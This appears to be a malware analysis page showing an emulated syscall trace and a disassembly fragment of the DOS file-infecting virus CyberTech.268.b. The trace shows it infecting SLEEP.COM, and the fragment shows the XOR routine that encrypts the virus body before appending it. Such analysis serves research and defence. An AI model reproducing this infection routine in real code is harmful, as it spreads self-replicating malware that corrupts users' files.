Sample viewer

vx.netlux.org/Virus.DOS.CyberTech.268.b

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:53:06.761706635Z 26 PC: 12a75 | Set disk transfer address
2018-12-17T22:53:06.763841465Z 78 PC: 12a7f | Find first file
2018-12-17T22:53:06.769850961Z 67 PC: 12a8c | Get or set file attributes
2018-12-17T22:53:06.776255882Z 67 PC: 12a94 | Get or set file attributes
2018-12-17T22:53:06.796244658Z 61 PC: 12a99 | Open file (Filename = 'SLEEP.COM')
2018-12-17T22:53:06.808373179Z 87 PC: 12a9f | Get or set file date and time
2018-12-17T22:53:06.809650728Z 63 PC: 12aac | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:53:06.81627576Z 66 PC: 12ad2 | Move file pointer
2018-12-17T22:53:06.818039269Z 44 PC: 12ae5 | Get time 0x12ae5: mov byte ptr cs:[bp + 0x17], dl
0x12ae9: lea si, word ptr [bp + 4]
0x12aec: mov di, 0xfd00
0x12aef: mov cx, 0x17
0x12af2: rep movsb byte ptr es:[di], byte ptr [si]
0x12af4: lea si, word ptr [bp + 0x1b]
0x12af7: mov cx, 0xf5
0x12afa: lodsb al, byte ptr [si]
0x12afb: xor al, dl
0x12afd: stosb byte ptr es:[di], al
0x12afe: loop 0x12afa
0x12b00: mov ah, 0x40
0x12b02: mov dx, 0xfd00
0x12b05: mov cx, 0x10c
0x12b08: int 0x21
0x12b0a: mov ax, 0x4200
0x12b0d: call 0x22acc
0x12b10: mov ah, 0x40
0x12b12: lea dx, word ptr [bp + 0x103]
0x12b16: mov cx, 4
2018-12-17T22:53:06.820546929Z 64 PC: 12b0a | Write file or device (Write 268 bytes on handle 5)
2018-12-17T22:53:06.828744867Z 66 PC: 12ad2 | Move file pointer
2018-12-17T22:53:06.830725735Z 64 PC: 12b1b | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:53:06.837184003Z 87 PC: 12b34 | Get or set file date and time
2018-12-17T22:53:06.8386561Z 62 PC: 12b38 | Close file
2018-12-17T22:53:06.847613519Z 67 PC: 12b41 | Get or set file attributes
2018-12-17T22:53:06.859903207Z 26 PC: 12b25 | Set disk transfer address